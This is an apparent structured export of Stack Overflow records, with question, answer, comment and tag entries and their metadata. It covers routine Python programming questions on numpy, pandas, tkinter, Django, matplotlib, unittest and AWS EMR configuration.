has body: I have been working with some code that exports layers individually filled with important data into a folder. The next thing I want to do is bring each one of those layers into a different program so that I can combine them and do some different tests. The current way that I know how to do it is by importing them one by one (as seen below). fn0 = 'layer0' f0 = np.genfromtxt(fn0 + '.csv', delimiter=",") fn1 = 'layer1' f1 = np.genfromtxt(fn1 + '.csv', delimiter=",") The issue with continuing this way is that I may have to deal with up to 100 layers at a time, and it would be very inconvenient to have to import each layer individually. Is there a way I can change my code to do this iteratively so that I can have a code similar to such: N = 100 for i in range(N) fn(i) = 'layer(i)' f(i) = np.genfromtxt(fn(i) + '.csv', delimiter=",") Please let me know if you know of any ways!
has answer: http://stackoverflow.com/a/47016122
type: AnsweredQuestion
tagged with: python-2.7
answer count: 2
score: 1
has answer: http://stackoverflow.com/a/47016931
downvote count: 0
upvote count: 1

http://stackoverflow.com/comment/80809852
score: 0
has text: I am unable to obtain the value of image_subtracted right before the exception. I guess it doesn't work right after line 59. After printing and plotting, image subtracted, I actually want to fill out the nozzle region with 0's . Is there any better way to do it
comment on: http://stackoverflow.com/q/46930761
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/81002750
score: 0
type: AnswerComment
has text: Use an exception handler [showed in here](https://docs.python.org/2/tutorial/errors.html#handling-exceptions) inside the loop. Updated my code.
comment on: http://stackoverflow.com/a/47022236
type: Comment

http://stackoverflow.com/comment/80763386
comment on: http://stackoverflow.com/a/46905906
score: 0
type: AnswerComment
has text: You are right, after much testing I was able solve this as soon as I realised I had to yield the request I defined! Thanks a lot
type: Comment

http://stackoverflow.com/q/46929472
has answer: http://stackoverflow.com/a/46930945
type: AnsweredQuestion
score: 0
has title: Python: Variable step length in a for loop
linked to: http://stackoverflow.com/q/17944235
tagged with: range
tagged with: python
has answer: http://stackoverflow.com/a/46929982
possible better answer: http://stackoverflow.com/a/46929738
answer count: 4
duplicate of: http://stackoverflow.com/q/17944235
type: Question
has answer: http://stackoverflow.com/a/46929738
tagged with: for-loop
has comment: http://stackoverflow.com/comment/80805862
has answer: http://stackoverflow.com/a/46930790
has comment: http://stackoverflow.com/comment/80805742
accepted answer: http://stackoverflow.com/a/46930945
has comment: http://stackoverflow.com/comment/80806044
has body: I want to take step value in a for loop from an array. some thing like, step = [0,1,2,15,3,87] #values in no order for i in range(0, len(raw_pkt), step): The step value should be updated in each iteration. Is there any workaround for that? I know that range() expects an integer value not a list. But I want to take values from the list on each iteration.

http://stackoverflow.com/comment/81043297
type: AnswerComment
score: 0
type: Comment
has text: ran his exact code on that site and input `print valC in values` below the definition of `values` and it returns True
comment on: http://stackoverflow.com/a/47047769

http://stackoverflow.com/comment/81037676
has text: @RomanPerekhrest Thank you so much. That is exactly what I wanted but was missing the update method.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47033400
score: 0

http://stackoverflow.com/q/46924486
has comment: http://stackoverflow.com/comment/80795880
tagged with: pandas
has answer: http://stackoverflow.com/a/46925092
has comment: http://stackoverflow.com/comment/80796368
has title: Python Pandas remove duplicate Code not working
tagged with: python
has comment: http://stackoverflow.com/comment/80796385
has comment: http://stackoverflow.com/comment/80796466
type: Question
has comment: http://stackoverflow.com/comment/80796405
score: 0
has comment: http://stackoverflow.com/comment/80797527
upvote count: 1
accepted answer: http://stackoverflow.com/a/46925092
answer count: 1
downvote count: 1
has body: I am trying to remove duplicate columns values in my dataframe. My code is as below xls = pd.ExcelFile('Base File.xlsx'); mapping_df = xls.parse('Mapping'); engagement_data_df = xls.parse('Detail Report'); engagement_data_df =engagement_data_df.loc[:,~engagement_data_df.columns.duplicated()] I have 2 duplicate columns called 'BCS Attached Flag'. I tried to deduplicate the columns with the above code but no luck. Can I ask what I am doing wrong? Adrian Edit: It seems that the duplicate column appends an attached .1 behind but in the csv file both the columns BCS Attached Flags are there . I did a print(engagement_data_df.head(10)) Division Region BCS Attached Flag BCSAttached Flag.1 China China A Y Y Singapore Singapore B Y Y
has comment: http://stackoverflow.com/comment/80796266
has comment: http://stackoverflow.com/comment/80797300
favorite count: 0
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/80796433
has comment: http://stackoverflow.com/comment/80795843

http://stackoverflow.com/comment/80933586
score: 0
type: AnswerComment
has text: I added a rough speed test. `split` is about twice faster than regex in this case.
comment on: http://stackoverflow.com/a/46993417
type: Comment

http://stackoverflow.com/a/46906569
has comment: http://stackoverflow.com/comment/80760508
has body: Not very sure, how else you can do it. if form.cleaned_data['price_max']: #filtering if form.cleaned_data['price_min']: #filtering
downvote count: 1
has comment: http://stackoverflow.com/comment/80760648
has comment: http://stackoverflow.com/comment/80762079
type: Answer
score: -1
has comment: http://stackoverflow.com/comment/80760159
has comment: http://stackoverflow.com/comment/80761874
answers question: http://stackoverflow.com/q/46906420
upvote count: 0
has comment: http://stackoverflow.com/comment/80760993

http://stackoverflow.com/q/46953267
tagged with: python
has answer: http://stackoverflow.com/a/46956662
has title: Tkinter using widget.after(30000, lambda: showFirstScreen()
score: 0
answer count: 1
tagged with: user-interface
tagged with: reset
type: Question
has body: I have a GUI with alot of buttons/widgets. I want that if 30 secs passes and the user didnt hit anything on the GUI that it will automaticly go back to the first screen. I added this between root = Tk() and root.mainloop() root.after(30000, lambda: showFirstScreen()) This line will go to my first screen after 30 seconds even if you hit the screen. So there is no counter that resets after hitting a button/widget. I try'd to add it to a specific button on a other window so: button13.after(30000, lambda: showFirstScreen()) If I reach the page with the button it will move to the main window after 30 seconds. But If I go back to the button it wont repeat the action above. Any idea what im doing wrong?
tagged with: tkinter
type: UnansweredQuestion
tagged with: time
has comment: http://stackoverflow.com/comment/80853629

http://stackoverflow.com/q/46939103
has body: I'm trying to get a 2d numpy array with grayscale values from RGBA image. The method I use is imread from spicy.misc, but whenever I set mode='F' or flatten=True the result is a zero matrix. My code: img_mat = misc.imread(f, mode='F') also tried img_mat = misc.imread(f, flatten=True) Output: (278, 278) [[ 0. 0. 0. ..., 0. 0. 0.] [ 0. 0. 0. ..., 0. 0. 0.] [ 0. 0. 0. ..., 0. 0. 0.] ..., [ 0. 0. 0. ..., 0. 0. 0.] [ 0. 0. 0. ..., 0. 0. 0.] [ 0. 0. 0. ..., 0. 0. 0.]] And the image: letter A
answer count: 1
downvote count: 0
has answer: http://stackoverflow.com/a/46939754
upvote count: 1
tagged with: scipy
favorite count: 0
type: Question
has title: scipy.misc imread returns 2d array of zeroes when reading RGBA image with flatten=True
tagged with: python-imaging-library
tagged with: imread
tagged with: python
type: AnsweredQuestion
accepted answer: http://stackoverflow.com/a/46939754
score: 1

flask-restless
type: Tag
tags question: http://stackoverflow.com/q/47042904
tag name: flask-restless

http://stackoverflow.com/comment/80991650
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47022231
has text: No there is only one page in which all data is crammed into a single column.
score: 0

session
tags question: http://stackoverflow.com/q/47030708
tags question: http://stackoverflow.com/q/47060685
tags question: http://stackoverflow.com/q/47054738
tags question: http://stackoverflow.com/q/46925381
tag name: session
type: Tag

http://stackoverflow.com/comment/80811634
score: 0
comment on: http://stackoverflow.com/a/46932300
type: Comment
type: AnswerComment
has text: I tried creating a new for loop but think I have this wrong: ` for file in archive_files: open_files = file.open(file.namelist()[0]) for open_file in open_files: file_content = file.read() file.close vuln_content = json.loads(file_content)`

http://stackoverflow.com/q/46918409
favorite count: 0
type: Question
upvote count: 2
tagged with: numpy
has title: Pseudo inverse matrix calculation
tagged with: python
has body: I try to repeat the example of calculation of pseudo inverse matrix from lectures: I use this code from numpy import * # https://classes.soe.ucsc.edu/cmps290c/Spring04/paps/lls.pdf x = np.array([[-11, 2],[2, 3],[2, -1]]) print(x) # computing the inverse using pinv a = linalg.pinv(x) print(a) My result of the calculation differs from the result in the lecture. My result: [[-0.07962213 0.05533063 0.00674764] [ 0.04048583 0.2854251 -0.06275304]] The result form lecture: [[-0.148 0.180 0.246] [ 0.164 0.189 -0.107]] What am I doing wrong? Tell me please!
type: AnsweredQuestion
score: 2
downvote count: 0
answer count: 1
tagged with: matrix-inverse
has answer: http://stackoverflow.com/a/46919125
accepted answer: http://stackoverflow.com/a/46919125

http://stackoverflow.com/comment/81040728
type: AnswerComment
comment on: http://stackoverflow.com/a/47046269
score: 0
type: Comment
has text: No problem and my apologies that I did not explained properly. I have mark the answer as valid. :)

http://stackoverflow.com/q/46974903
tagged with: python-3.x
has comment: http://stackoverflow.com/comment/80897302
has title: Sort a dictionary by key and print corresponding value
type: UnansweredQuestion
has comment: http://stackoverflow.com/comment/80904257
has body: I want to know how I can sort a dictionary by key and then print the corresponding values ? Here is my dictionnary, it counts how many times a number appear in a list. L=[1,2,1,5,9,7,8,0,3] d = {} for i in L: if i in d : d[ i ] += 1 else : d[ i ] = 1 val= list(d.keys()) frequency= list(d.values()) for i in range(len(d)): print(val[i],":",frequency[i]) I get 1 : 2 2 : 1 5 : 1 9 : 1 7 : 1 8 : 1 0 : 1 3 : 1 But I want the keys to appear in an ascending order, how can I do this and keep the corresponding value of the key ?
tagged with: python
tagged with: sorting
tagged with: dictionary
score: 0
linked to: http://stackoverflow.com/q/9001509
answer count: 1
upvote count: 1
has answer: http://stackoverflow.com/a/46975039
downvote count: 1
duplicate of: http://stackoverflow.com/q/9001509
favorite count: 0
type: Question

http://stackoverflow.com/comment/80796235
comment on: http://stackoverflow.com/q/46924697
type: Comment
type: QuestionComment
has text: Well, you only ask the user once for input... what did you expect to happen?
score: 0

http://stackoverflow.com/a/46986225
type: Answer
upvote count: 4
score: 4
answers question: http://stackoverflow.com/q/46986201
has body: You can try this: list1 = ['1,2,3','4,5,6','7,8'] final_list = {i:a.split(',') for i, a in enumerate(list1)} Output: {0: ['1', '2', '3'], 1: ['4', '5', '6'], 2: ['7', '8']} Or, using the builting dict function: final_list = dict(enumerate(map(lambda x:x.split(','), list1))) Output: {0: ['1', '2', '3'], 1: ['4', '5', '6'], 2: ['7', '8']}
downvote count: 0
type: AcceptedAnswer
accepted answer of: http://stackoverflow.com/q/46986201

http://stackoverflow.com/comment/81031891
score: 2
has text: You need to nest one deeper...
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47042431

http://stackoverflow.com/comment/80956686
score: 0
comment on: http://stackoverflow.com/q/47004388
type: Comment
type: QuestionComment
has text: Is your code writing the same amount of frames for the good and bad case?

http://stackoverflow.com/comment/80840748
comment on: http://stackoverflow.com/a/46946762
type: Comment
type: AnswerComment
score: 1
has text: Ha, beat me by miles!

http://stackoverflow.com/q/46981207
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/46981543
tagged with: django-socialauth
downvote count: 0
tagged with: django
tagged with: python
has title: Migrating social_auth to django_social using Django 1.11 and Python 3.6
tagged with: python-social-auth
type: AnsweredQuestion
answer count: 1
upvote count: 1
score: 1
accepted answer: http://stackoverflow.com/a/46981543
has body: I'm having problem while trying to migrate social_auth module to django_social using Django 1.11 and Python 3.6. I have some models in my models.py file that uses from social_auth.signals import pre_update, socialauth_registered from social_auth.backends.facebook import FacebookBackend from social_auth.backends.twitter import TwitterBackend but I can't find the equivalent to social_auth.signals into django_social Are they deprecated? Is there a newer version to use them?

http://stackoverflow.com/a/62016509
answers question: http://stackoverflow.com/q/46911082
type: Answer
has body: The 'AutoTerminate': True parameter as suggested did not work for me. However, it worked when I set the parameter 'KeepJobFlowAliveWhenNoSteps' from True to False. Your Code should look then as the following: response = client.run_job_flow( Name=name, LogUri='s3://mybucket/emr/', ReleaseLabel='emr-5.9.0', Instances={ 'MasterInstanceType': instance_type, 'SlaveInstanceType': instance_type, 'InstanceCount': instance_count, 'KeepJobFlowAliveWhenNoSteps': False, 'Ec2KeyName': 'KeyPair', 'EmrManagedSlaveSecurityGroup': 'sg-1234', 'EmrManagedMasterSecurityGroup': 'sg-1234', 'Ec2SubnetId': 'subnet-1q234', }, Applications=[ {'Name': 'Spark'}, {'Name': 'Hadoop'} ], BootstrapActions=[ { 'Name': 'Install Python packages', 'ScriptBootstrapAction': { 'Path': 's3://mybucket/code/spark/bootstrap_spark_cluster.sh' } } ], VisibleToAllUsers=True, JobFlowRole='EMR_EC2_DefaultRole', ServiceRole='EMR_DefaultRole', Configurations=[ { 'Classification': 'spark', 'Properties': { 'maximizeResourceAllocation': 'true' } }, ], )
score: 0

http://stackoverflow.com/comment/80881756
score: 0
has text: you need to elaborate on question more.There is only one while loop in your pseudocode.
type: QuestionComment
comment on: http://stackoverflow.com/q/46967186
type: Comment

http://stackoverflow.com/q/47001503
has title: Boolean selecting column from set of columns based on condition
tagged with: numpy
duplicate of: http://stackoverflow.com/q/40583482
has comment: http://stackoverflow.com/comment/80949700
tagged with: pandas
answer count: 0
score: 0
has body: So I have sort of the following situation: import pandas as pd import numpy as np df_data = {'CODE' : ['111', '222', '333', '444'], 'A' : ['2017/01/01', '2017/01/02', '', ''], 'B' : ['', '2017/01/02', '', '2017/01/30'], 'C' : ['', '2017/01/12', '', '2017/02/02'], 'PRICE_A' : [10, 10, np.nan, np.nan], 'PRICE_B': [np.nan, 8, np.nan, 9], 'PRICE_C': [np.nan, 19, np.nan, 16]} df = pd.DataFrame(df_data) df.A = pd.to_datetime(df.A) df.B = pd.to_datetime(df.B) df.C = pd.to_datetime(df.C) df df Every column tells me about the reached status of the 'code' item, and of course the status is reached when a date populates the slot. At each status corresponds a price value, printed out in the PRICE_A, PRICE_B, PRICE_C corresponding columns. What I wanted to do was adding a new column giving out the the current reached status price for each row: result_df This was easy to do taking my columns right out of the box and writing a function iterating over the arrays, but I'm sure there are better ways of achieving this with Pandas. I wonder if someone could suggest a smarter answer to this problem.
has comment: http://stackoverflow.com/comment/80955836
type: Question
has comment: http://stackoverflow.com/comment/80956370
type: UnansweredQuestion
linked to: http://stackoverflow.com/q/40583482
tagged with: python

sieve-of-eratosthenes
tags question: http://stackoverflow.com/q/47014889
type: Tag
tag name: sieve-of-eratosthenes
tags question: http://stackoverflow.com/q/47042499

http://stackoverflow.com/a/46982787
upvote count: 2
answers question: http://stackoverflow.com/q/46982724
type: Answer
has body: input() returns a string, not an integer. This means that scores has a bunch of strings in it, not integers, and you can't sum() a list of strings. Change grade.append(input('Enter Score: ')) to grade.append(int(input('Enter Score: '))) edit: to fix the error mentioned in the comment, you need to change your main function: def main(): scores = [] get_scores(scores) final_score = calculate_average(scores) show_results(final_score)
score: 2
type: AcceptedAnswer
downvote count: 0
has comment: http://stackoverflow.com/comment/80913027
accepted answer of: http://stackoverflow.com/q/46982724

http://stackoverflow.com/comment/80831983
type: Comment
comment on: http://stackoverflow.com/a/46939693
score: 0
type: AnswerComment
has text: It is working now.I got response for my question with in no time. Unable to vote for answers as I joined recently. :)

http://stackoverflow.com/comment/80973567
score: 0
type: Comment
has text: With the first method, it just gets stuck and never receives data and stuck at below /usr/local/lib/python3.6/asyncio/events.py:127: RuntimeWarning: coroutine 'connect_ws' was never awaited self._callback(*self._args).With second one its same behavior it actually never runs forever
type: AnswerComment
comment on: http://stackoverflow.com/a/47013285

http://stackoverflow.com/q/46917593
type: AnsweredQuestion
score: 0
tagged with: ticker
tagged with: matplotlib
accepted answer: http://stackoverflow.com/a/46917796
has title: Wrong values appears... using python matplotlib.ticker (ax.xaxis.set_major_locator)
tagged with: python
has answer: http://stackoverflow.com/a/46917796
answer count: 1
type: Question
has body: I am having trouble to get the right x-ticks values by using matplotlib.ticker methods. Here is the simple working example to describe my problem. import numpy as np import matplotlib.pyplot as plt import matplotlib ## Sample code np.arange(0, 15, 5) plt.figure(figsize = [6,4]) x=np.array([1,2,3,4,5,6,7,8,9,10,11,12,13,14,15]) y=np.array([15,16,17,18,19,20,40,50,60,70,80,90,100,110,120]) ax = sns.pointplot(x,y, color='k', markers=["."], scale = 2) ax.xaxis.set_major_locator(matplotlib.ticker.FixedLocator([1,5,8])) Results: x-ticks is located at the right position(1,5,8) but the values that I want for those positions are 1,5,8 (corresponding x values) instead of (1,2,3) I have tried all locators explained in https://matplotlib.org/examples/ticks_and_spines/tick-locators.html, but it all shows 1,2,3 x-ticks value... :( My actual problem (Having trouble of identical issues: x-ticks should be something like 64, 273.5, 1152.5 instead of the first three numbers) ... print(intervals} &gt;&gt; [64, 74, 86.5, 10.1, 116.0, 132.0, 152.0, 175.5, 204.0, 236.0, 273.5, 319.0, 371.0, 434.0, 509.0, 595.5, 701.0, 861.0, 1152.5] ax.xaxis.set_major_locator(matplotlib.ticker.LinearLocator(3) plt.show()

http://stackoverflow.com/a/46934855
score: 7
upvote count: 7
type: AcceptedAnswer
answers question: http://stackoverflow.com/q/46934135
has body: You can use io.open which supports decoding on fly (via encoding parameter), in both Python 2 and Python 3 (actually, in Python 3, io.open is the default open): import io with io.open(fname, 'r', encoding='utf-8-sig') as f: # ... for line in f: tweet = json.loads(line) # ...
accepted answer of: http://stackoverflow.com/q/46934135
type: Answer
downvote count: 0

http://stackoverflow.com/q/46957298
type: UnansweredQuestion
tagged with: keras
tagged with: lstm
score: 2
downvote count: 0
linked to: http://stackoverflow.com/q/46859712
has title: How to train a hierarchical model in two parts
tagged with: python
tagged with: recurrent-neural-network
favorite count: 0
type: Question
upvote count: 2
has body: This is a follow up to the following question: Confused about how to implement time-distributed LSTM + LSTM The current draft structure that is working well: The basic idea is that there is a TimeDistributed deep LSTM input layer that works on each epoch of raw time series data and outputs a vector of features for each output. Then, the "outer" deep LSTM layer takes 7 of those sequential outputs and tries to classify the center epoch (assumed that 1 epoch does not have enough information to be classified by itself, and needs surrounding epochs). I say this is a draft because I haven't yet explored the feature space required for this to work well on many subjects. There are several issues that still need to be resolved, but the one that I haven't found any clear-cut examples of online are trying to train this model in two parts: 1) the TimeDistributed later and 2) the "outer" layer. The reason being is that as I increase the number of epochs needed to classify (currently 7, but I expect it may get up to 21 or higher) more duplicated data is loaded, and the training speed is decreasing quickly. One may propose an autoencoder for the first layer. However, I don't think this is the best solution. The reason I think so is that the features necessary to reproduce the input might very well be different than the features necessary to be used with other epochs to classify said layer. To expand: this is probable because the time series is semi-periodic, with most of the epoch providing little information other than the current period from important feature to important feature (and the number and location of these important features varies in each epoch).
tagged with: time-series
answer count: 0

http://stackoverflow.com/q/46979360
favorite count: 0
tagged with: keyerror
type: Question
has answer: http://stackoverflow.com/a/46979417
has answer: http://stackoverflow.com/a/70123651
upvote count: 5
type: UnansweredQuestion
tagged with: python
score: 4
has comment: http://stackoverflow.com/comment/80906321
answer count: 3
downvote count: 1
has title: KeyError: 0 Python
has body: Hi I'm still pretty new in python and would like to know why this line: RP[p][t] = demand[p][t] / fillingrate[p] is leading to the error: KeyError: 0 it follows the relevant part of the code. Is it just a mistake of notation or what's the best way to solve it? productname = ('milk', 'yoghurt', 'buttermilk') fillingrate = (1.5, 1.0, 2.0) day = (1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13, 14) demand = [ (5, 4, 3, 3, 4, 9, 13, 5, 4, 4, 3, 5, 10, 12), (3, 5, 3, 5, 5, 4, 3, 4, 3, 4, 3, 4, 5, 5), (3, 3, 5, 4, 4, 5, 4, 3, 4, 3, 4, 5, 4, 5) ] T = range (len(day)) P = range (len(productname)) for p in P: for t in T: RP[P,T] = model.addVar (lb = 0, vtype = GRB.CONTINUOUS, name = 'Regular Production[' + str(p) + ',' + str(t) + ']') print(demand[p][t]) print(fillingrate[p]) RP[p][t] = demand[p][t] / fillingrate[p] print(RP[p][t])
has answer: http://stackoverflow.com/a/46980208

http://stackoverflow.com/q/47012242
has comment: http://stackoverflow.com/comment/80970862
has comment: http://stackoverflow.com/comment/80970942
has comment: http://stackoverflow.com/comment/80972277
tagged with: to-json
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/47013803
has comment: http://stackoverflow.com/comment/80971011
has comment: http://stackoverflow.com/comment/80971446
has comment: http://stackoverflow.com/comment/80972199
tagged with: pandas
score: 0
tagged with: http://stackoverflow.com/tag/json
answer count: 1
upvote count: 1
linked to: http://stackoverflow.com/q/47016779
downvote count: 1
accepted answer: http://stackoverflow.com/a/47013803
favorite count: 0
type: Question
has comment: http://stackoverflow.com/comment/80971516
has comment: http://stackoverflow.com/comment/80971242
has body: I need to generate a json from my dataframe but I have tried many formats of df but still I am not able get the required json format. My required json format is, [ { "Keyword": "Red", "values": [ { "value": 5, "TC": "Color" } ] }, { "Keyword": "Orange", "values": [ { "value": 5, "TC": "Color" } ] }, { "Keyword": "Violet", "values": [ { "value": 5, "TC": "Color" } ] } ] I want a df to generate this json. Please help. but currently im getting df.to_json: {"Names":{"0":"Ram","1":"pechi","2":"Sunil","3":" Ravi","4":"sri"},"Values":{"0":"[{'value':2,'TC': 'TC Count'}]","1":"[{'value':2,'TC': 'TC Count'}]","2":"[{'value':1,'TC': 'TC Count'}]","3":"[{'value':1,'TC': 'TC Count'}]","4":"[{'value':1,'TC': 'TC Count'}]"}}
has comment: http://stackoverflow.com/comment/80972363
has title: how to create a dataframe to generate json in the given format
has comment: http://stackoverflow.com/comment/80971363
tagged with: dataframe
tagged with: python
has comment: http://stackoverflow.com/comment/80971543

http://stackoverflow.com/comment/80990112
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47021568
has text: use `str.endswith(...)` and `x in y` for a basis.
score: 1

http://stackoverflow.com/comment/80799882
comment on: http://stackoverflow.com/q/46926514
type: Comment
type: QuestionComment
score: 0
has text: check out : https://stackoverflow.com/questions/2725754/schedule-python-script-windows-7

http://stackoverflow.com/comment/80928833
type: QuestionComment
comment on: http://stackoverflow.com/q/46947848
score: 0
has text: So what is the problem? It seems like it works?
type: Comment

http://stackoverflow.com/q/46952789
tagged with: python
has body: I try to discover the fields which a django form class has. I only have a class, not an instance. The form-class is of type DeclarativeFieldsMetaclass. If I try this: class FooForm(forms.Form): spreadsheet = forms.FileField() for field in FooForm: print(field) I get this exception: TypeError: 'DeclarativeFieldsMetaclass' object is not iterable I know that I could do FooForm() instead of FooForm, but in my real use case I only have a class.
favorite count: 0
type: Question
score: 2
accepted answer: http://stackoverflow.com/a/46953123
upvote count: 2
answer count: 1
downvote count: 0
tagged with: django
has title: Django: Fields of DeclarativeFieldsMetaclass (without instance)
has answer: http://stackoverflow.com/a/46953123
type: AnsweredQuestion

http://stackoverflow.com/comment/80942413
score: 1
comment on: http://stackoverflow.com/a/46997907
type: Comment
has text: Sir used it now https://stackoverflow.com/questions/46888976/how-to-replace-all-elements-of-python-numpy-array-that-are-greater-than-a-severa/46889691#46889691 :)
type: AnswerComment

http://stackoverflow.com/comment/80936076
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/46994589
has text: `file -i file.zip` gives application/octet-stream. Why ?
score: 0

http://stackoverflow.com/comment/114329732
has text: After some time, I'll add to this that when you "embed" library's code into your package, you have to maintain it as well, for example track any potential security issues and update the embedded package accordingly.
comment on: http://stackoverflow.com/a/47018648
type: Comment
score: 0
type: AnswerComment

http://stackoverflow.com/comment/81032215
type: Comment
type: QuestionComment
has text: You can get the line count with this function: https://stackoverflow.com/questions/845058/how-to-get-line-count-cheaply-in-python
score: 0
comment on: http://stackoverflow.com/q/47042550

http://stackoverflow.com/a/47030188
score: 0
has comment: http://stackoverflow.com/comment/81090799
has comment: http://stackoverflow.com/comment/81021293
has body: Edit: I have removed the usage of NumPy and Pandas. If you want more detailed or specific answers to your question, you should update your original question or put in the comments. If you can't choose how your data input looks like before making it, like @martineau suggested, you could do something like this: # Ordered dictionary will let us add keys to a dictionary {}, but if we # access the keys, it will retain the order we added them, which is not # the default behaviour of a normal dict. from collections import OrderedDict # Load the file and sequentially add lines for users. You can simplify # if they always have 3 lines each with open('scores.txt') as f: out_dict = OrderedDict() # Load in each line from the file for line in f.readlines(): # remove commas, replace(), strip newline characters '\n', strip(); # split the line on spaces '81 81 30' -&gt; ['81', '81', '30'] line_split = [i for i in line.strip().replace(',', '').split(' ') if i != ''] # From your current format, we know that some lines start with a character when there is a name, or a digit if it is a number # float('4') will give 4 # float('s') will raise a ValueError exception # try: # If we do not raise an exception, we know it is an integer/float vals = [float(i) for i in line_split] # We can keep adding the values to the last entry in our dictionary, i.e., to the last name we created # As we used OrderedDict, we do not have to worry that we will retrieve a random key. out_dict[[i for i in out_dict.keys()][-1]].extend(vals) except ValueError: # So, if we raise an exception, we know it is 'Charles Babbage' # A new name is a new key, so put a new key in out_dict, and make the value a list we can keep adding to out_dict[line.strip()] = [] Then you can play around with this dictionary however you like. You can also make get_score and get_grade to work as you want, for now I just took the average as I didn't fully understand your intention.... # Some functions to define how the score and grading works …
type: Answer
answers question: http://stackoverflow.com/q/47027753

http://stackoverflow.com/q/47045692
tagged with: matplotlib
has comment: http://stackoverflow.com/comment/81039312
tagged with: python
has title: How should I read values automatically into Matplotlib's aitoff projection from a csv file?
type: Question
tagged with: numpy
has body: I have looked around for the answer for around 2 weeks now and I cannot seem to find any help. Basically I'm trying to read in values (2 columns to be exact) from a csv file. Here's an example: from astropy import units as u from astropy.coordinates import SkyCoord import matplotlib.pyplot as plt import numpy as np from numpy import genfromtxt my_data = genfromtxt('TGAS_2MASS_ALLWISE_TYC2.csv', delimiter = ', ', usecols=['ra','dec']) plt.figure(figsize=(8,4.2)) plt.subplot(111, projection="aitoff") plt.title("Aitoff") plt.grid(True) plt.plot(my_data, 'o', markersize=2, alpha=1) plt.subplots_adjust(top=1,bottom=0.0) plt.show() I have tried many different ways to make this work, but I can't seem to find any. Here's the error it gives me: --------------------------------------------------------------------------- AttributeError Traceback (most recent call last) &lt;ipython-input-16-da402c9f65a8&gt; in &lt;module&gt;() 4 import numpy as np 5 from numpy import genfromtxt ----&gt; 6 my_data = genfromtxt('TGAS_2MASS_ALLWISE_TYC2.csv', usecols=['ra','dec'], delimiter = ',') 7 plt.figure(figsize=(8,4.2)) 8 plt.subplot(111, projection="aitoff") c:\python36\lib\site-packages\numpy\lib\npyio.py in genfromtxt(fname, dtype, comments, delimiter, skip_header, skip_footer, converters, missing_values, filling_values, usecols, names, excludelist, deletechars, replace_space, autostrip, case_sensitive, defaultfmt, unpack, usemask, loose, invalid_raise, max_rows) 1626 # if usecols is a list of names, convert to a list of indices 1627 if _is_string_like(current): -&gt; 1628 usecols[i] = names.index(current) 1629 elif current &lt; 0: 1630 usecols[i] = current + len(first_values) AttributeError: 'NoneType' object has no attribute 'index'
has comment: http://stackoverflow.com/comment/81038922
answer count: 2
type: UnansweredQuestion
has answer: http://stackoverflow.com/a/47045882
has answer: http://stackoverflow.com/a/47045872
score: 0
has comment: http://stackoverflow.com/comment/81038774
tagged with: http://stackoverflow.com/tag/csv

http://stackoverflow.com/comment/80946153
score: 0
comment on: http://stackoverflow.com/q/46999673
type: Comment
type: QuestionComment
has text: How are you telling scrapy to use that as a new request? Don't see any resason it shouldn't handle it...

http://stackoverflow.com/q/47000042
downvote count: 0
has answer: http://stackoverflow.com/a/64892544
tagged with: python-unittest
linked to: http://stackoverflow.com/q/26884198
favorite count: 0
type: Question
upvote count: 2
answer count: 2
tagged with: python
has body: I have one class BaseTest and all tests are extended from it. Tests are located in different modules and packages. setUpClass and tearDownClass methods are executed before each unittest.TestCase class. How can I execute setUp and tearDown only once. Before and after all tests. this is example of code: import unittest class BaseTest(unittest.TestCase): @classmethod def setUpClass(cls): print("setUpClass") @classmethod def tearDownClass(cls): print("tearDownClass") if __name__ == '__main__': unittest.main() module2.py: class TestOne(BaseTest): def test_one(self): print("Test One") class TestTwo(BaseTest): def test_two(self): print("Test Two") if __name__ == '__main__': unittest.main() module3.py class TestThree(BaseTest): def test_three(self): print("Test Three") class TestFour(BaseTest): def test_four(self): print("Test Four") if __name__ == '__main__': unittest.main() module4.py class TestFive(BaseTest): def test_five(self): print("Test Five") if __name__ == '__main__': unittest.main()
has answer: http://stackoverflow.com/a/47000333
accepted answer: http://stackoverflow.com/a/47000333
has title: How can I execute tearDown and setUp method for all unittest.TestCase classes
score: 2
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/64892544
linked to: http://stackoverflow.com/q/119167

http://stackoverflow.com/comment/80963141
score: 0
comment on: http://stackoverflow.com/a/47008130
type: Comment
type: AnswerComment
has text: aye aye, captain!

http://stackoverflow.com/comment/81022002
has text: You could check `if isinstance(value, dict)`. What did you want `value.items()` to return when `value` is `"2"` ?
comment on: http://stackoverflow.com/q/47037726
score: 1
type: Comment
type: QuestionComment

http://stackoverflow.com/a/47051855
has comment: http://stackoverflow.com/comment/81051411
has comment: http://stackoverflow.com/comment/81082150
accepted answer of: http://stackoverflow.com/q/47051340
upvote count: 2
has comment: http://stackoverflow.com/comment/81054421
type: AcceptedAnswer
downvote count: 0
has body: Does this achieve what you want? sns.set(style='ticks', rc={"axes.grid":True}) # to maintain grids with the ticks effect X = np.random.randn(100) ax = plt.subplot() ax.hist(X, color='white', edgecolor='k') sns.despine(ax=ax, offset=10, trim=True) # offset: the distance to the axis from the plot, trim: to trim off the edges like in R plt.show() More in this answer
has comment: http://stackoverflow.com/comment/81055162
has comment: http://stackoverflow.com/comment/81057688
type: Answer
has comment: http://stackoverflow.com/comment/81051116
answers question: http://stackoverflow.com/q/47051340
score: 2

http://stackoverflow.com/comment/81071823
has text: why not using the `root` widget directly ? do you have multiple Toplevel to handle here ?
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/47061839
score: 0

http://stackoverflow.com/a/47034839
upvote count: 2
score: 2
has comment: http://stackoverflow.com/comment/81016205
has comment: http://stackoverflow.com/comment/81020455
downvote count: 0
answers question: http://stackoverflow.com/q/47034708
has comment: http://stackoverflow.com/comment/81019802
has comment: http://stackoverflow.com/comment/81016401
has comment: http://stackoverflow.com/comment/81016313
has comment: http://stackoverflow.com/comment/81020487
has comment: http://stackoverflow.com/comment/81020366
has comment: http://stackoverflow.com/comment/81016264
type: Answer
has comment: http://stackoverflow.com/comment/81016142
has comment: http://stackoverflow.com/comment/81016110
